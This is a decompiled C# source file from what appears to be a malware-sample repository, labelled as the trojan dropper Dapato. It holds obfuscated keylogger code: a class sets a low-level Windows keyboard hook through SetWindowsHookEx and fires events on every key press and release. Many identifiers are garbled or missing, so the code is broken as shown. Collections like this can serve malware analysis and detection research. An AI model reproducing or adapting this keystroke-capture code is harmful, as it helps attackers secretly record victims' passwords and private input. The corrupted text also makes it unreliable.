MalwareSourceCode/MSIL/Trojan-Dropper/Win32/D/Trojan-Dropper.Win32.Dapato.awqq-edab95afd20436274ac39e7bbd9b33db4903ad56017b194e3d2cdd8b211b0f3e/辺帒껨ℽᰯ☍ム.cs

130 lines
7.2 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: 辺帒껨ℽᰯ☍ム
// Assembly: Inclorofom, Version=1.1.5.6, Culture=neutral, PublicKeyToken=null
// MVID: A522D052-C5DC-490C-B0ED-0BBC19A34C0E
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.awqq-edab95afd20436274ac39e7bbd9b33db4903ad56017b194e3d2cdd8b211b0f3e.exe
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
internal class \uF6C2ᰯ\u260Dム
{
private const int = 13;
private const int \uEA6A嗣\uEEB8\uEFAD\u2379쾽\u1CB0᷑ = 0;
private const int \u3297唗筈育 = 256;
private const int \u05CC\uE775ဍ\u329C\uE5B5 = 257;
private const int \u08DE낍\uFDE0鑷踪뢊ᆞᚾ = 260;
private const int \uF069㤡恵Ά = 261;
private \uF6C2ᰯ\u260Dム.\uFFFD\uF897ֽ䈶鞕锲歀呖 Џ\uECC0\uE1C1;
private IntPtr \uFFFD능ﳇ\u240E賹홝Л뻹;
[DllImport("User32.dll", EntryPoint = "SetWindowsHookEx", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
private static extern int (
int _param0,
\uF6C2ᰯ\u260Dム.\uFFFD\uF897ֽ䈶鞕锲歀呖 _param1,
IntPtr _param2,
int );
[DllImport("User32.dll", EntryPoint = "CallNextHookEx", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
private static extern int \u0DC9쓴鸁슱鯬(
int _param0,
int _param1,
IntPtr ,
IntPtr _param3);
[DllImport("User32.dll", EntryPoint = "UnhookWindowsHookEx", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
private static extern bool \u2655ມ䪰셀\uF684(int _param0);
public static event \uF6C2ᰯ\u260Dム.\uE058謦悒塱ಯ\uF1A8θᢶ ;
public static event \uF6C2ᰯ\u260Dム.̓\uE639\uED88 \uED02铻\u087E縭镚㬌\uF7D3յ;
private int \u240E哘\u2ED2\u23DB\uE9AB(int _param1, IntPtr , IntPtr _param3)
{
if (_param1 == 0)
goto label_7;
label_3:
return \uF6FB\uF73E腘.\uF723ᴲ\u1CACﶧ溰齪倜扈(\uFFFD켅ᇛ\u00A6닂鳧.\u2260㼄㵖劆ἄ(IntPtr.Zero), _param1, , _param3);
label_7:
IntPtr num = ;
\uF6C2ᰯ\u260Dム. 1;
\uF6C2ᰯ\u260Dム. 2;
if (\uA83F\uFFFD\u27BA\u21C8퐔陕讍.(num, \u28DC결ַ퓽ᢺ䆲\uEC3A䈔.\u0D58㠂繌\uE87A턔ᅖ傯좲(256)) || \uA83F\uFFFD\u27BA\u21C8퐔陕讍.(num, \u28DC결ַ퓽ᢺ䆲\uEC3A䈔.\u0D58㠂繌\uE87A턔ᅖ傯좲(260)))
{
\uF6C2ᰯ\u260Dム.\uE058謦悒塱ಯ\uF1A8θᢶ = \uF6C2ᰯ\u260Dム.\uEDD6;
if ( != null)
{
\uF6C2ᰯ\u260Dム.\uE058謦悒塱ಯ\uF1A8θᢶ Θ = ;
object obj = \uFFFD溦䓞콺ᕿٻ猶呶.驿\u2FED瑲\u066C\uEFE1胧(_param3, \u32D0.\uE12E\uF423ꍨ脱\uFFFD쇧\uFE5E\uE31D((object) 2));
int = checked ((int) (unchecked (obj != null) ? (\uF6C2ᰯ\u260Dム.) obj : 1).\uEFFE顣飛旳\u274C䣕굧괠);
\u2A0D㷉\uE6C2녌\uECE7.\uE197㿵婡憙ᝢ逤궙\u17EA((object) Θ, (Keys) );
goto label_3;
}
else
goto label_3;
}
else if (\uA83F\uFFFD\u27BA\u21C8퐔陕讍.(num, \u28DC결ַ퓽ᢺ䆲\uEC3A䈔.\u0D58㠂繌\uE87A턔ᅖ傯좲(257)) || \uA83F\uFFFD\u27BA\u21C8퐔陕讍.(num, \u28DC결ַ퓽ᢺ䆲\uEC3A䈔.\u0D58㠂繌\uE87A턔ᅖ傯좲(261)))
{
\uF6C2ᰯ\u260Dム.̓\uE639\uED88 = \uF6C2ᰯ\u260Dム.\uE51Cꖲ\uE27C\u28A5蜠咾ᎃ;
if ( != null)
{
\uF6C2ᰯ\u260Dム.̓\uE639\uED88 ̓ = ;
object obj = \uFFFD溦䓞콺ᕿٻ猶呶.驿\u2FED瑲\u066C\uEFE1胧(_param3, \u32D0.\uE12E\uF423ꍨ脱\uFFFD쇧\uFE5E\uE31D((object) 2));
int = checked ((int) (unchecked (obj != null) ? (\uF6C2ᰯ\u260Dム.) obj : 1).\uEFFE顣飛旳\u274C䣕굧괠);
\uEAF1\uE63CŒ櫩\uFB0A\uE1ABഐ.\u2EC8녔ꆪ녫((object) ̓, (Keys) );
goto label_3;
}
else
goto label_3;
}
else
goto label_3;
}
public \uF6C2ᰯ\u260Dム()
{
this.Џ\uECC0\uE1C1 = new \uF6C2ᰯ\u260Dム.\uFFFD\uF897ֽ䈶鞕锲歀呖(this.\u240E哘\u2ED2\u23DB\uE9AB);
this.\uFFFD능ﳇ\u240E賹홝Л뻹 = IntPtr.Zero;
this.\uFFFD능ﳇ\u240E賹홝Л뻹 = \u28DC결ַ퓽ᢺ䆲\uEC3A䈔.\u0D58㠂繌\uE87A턔ᅖ傯좲(\uE125점墈Ƹ퍬낵.\uFFFDꒄ빬ީ뺫簂\uEF9F퍬(13, this.Џ\uECC0\uE1C1, \u28DC결ַ퓽ᢺ䆲\uEC3A䈔.\u0D58㠂繌\uE87A턔ᅖ傯좲(\uF331罜\uF6F3䂻䠻.(Գ\u1CA5\u0608\uE96Dꨥ\u9FEAઉ.\u09C6荪鑸딇粨\u204F((object) \u20FB\uAB1D\u3228燽\u2B8Aⱘ녧.\uEA74먪珢遊샲Ⴎ\u0FD9\uF809())[0]).ToInt32()), 0));
if (\uA83F\uFFFD\u27BA\u21C8퐔陕讍.(this.\uFFFD능ﳇ\u240E賹홝Л뻹, IntPtr.Zero))
throw \u26FC諵㪟ꌀ\uFFFD닅\uEE89\u25F6.\u273D㑰칗뒹((string) \u003CModule\u003E.\uFFFD\uFFFD\u001E\u0026\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFDoP\u000C\uFFFD\u0023(3739141360U));
}
~\uF6C2ᰯ\u260Dム()
{
if (!\uA83F\uFFFD\u27BA\u21C8퐔陕讍.(this.\uFFFD능ﳇ\u240E賹홝Л뻹, IntPtr.Zero))
goto label_2;
label_1:
\u2611툹쥦ˣꔭ\u246D慞.\u28E7乼ꕲ醴䗄䐠ⲱ돩((object) this);
return;
label_2:
\uE388ﵵ醍๔곞苦.\uFFFDᙹǒ(\uFFFD켅ᇛ\u00A6닂鳧.\u2260㼄㵖劆ἄ(this.\uFFFD능ﳇ\u240E賹홝Л뻹));
goto label_1;
}
private struct
{
public uint \uEFFE顣飛旳\u274C䣕굧괠;
public uint \u2FEA둱\uE7B2誅;
public \uF6C2ᰯ\u260Dム.\uF7B4暸簮羍 \uABFD\uFFFD\uFBCF\u28B5\u2A63寒;
public uint \u104CẆʭ跒㝀灮陋Ζ;
public UIntPtr \u2586\u2F0B빁쏧ង塹荚顄;
}
[Flags]
private enum \uF7B4暸簮羍 : uint
{
LLKHF_EXTENDED = 1,
LLKHF_INJECTED = 16, // 0x00000010
LLKHF_ALTDOWN = 32, // 0x00000020
LLKHF_UP = 128, // 0x00000080
}
public delegate void \uE058謦悒塱ಯ\uF1A8θᢶ(Keys Key);
public delegate void ̓\uE639\uED88(Keys Key);
private delegate int \uFFFD\uF897ֽ䈶鞕锲歀呖(int nCode, IntPtr wParam, IntPtr lParam);
}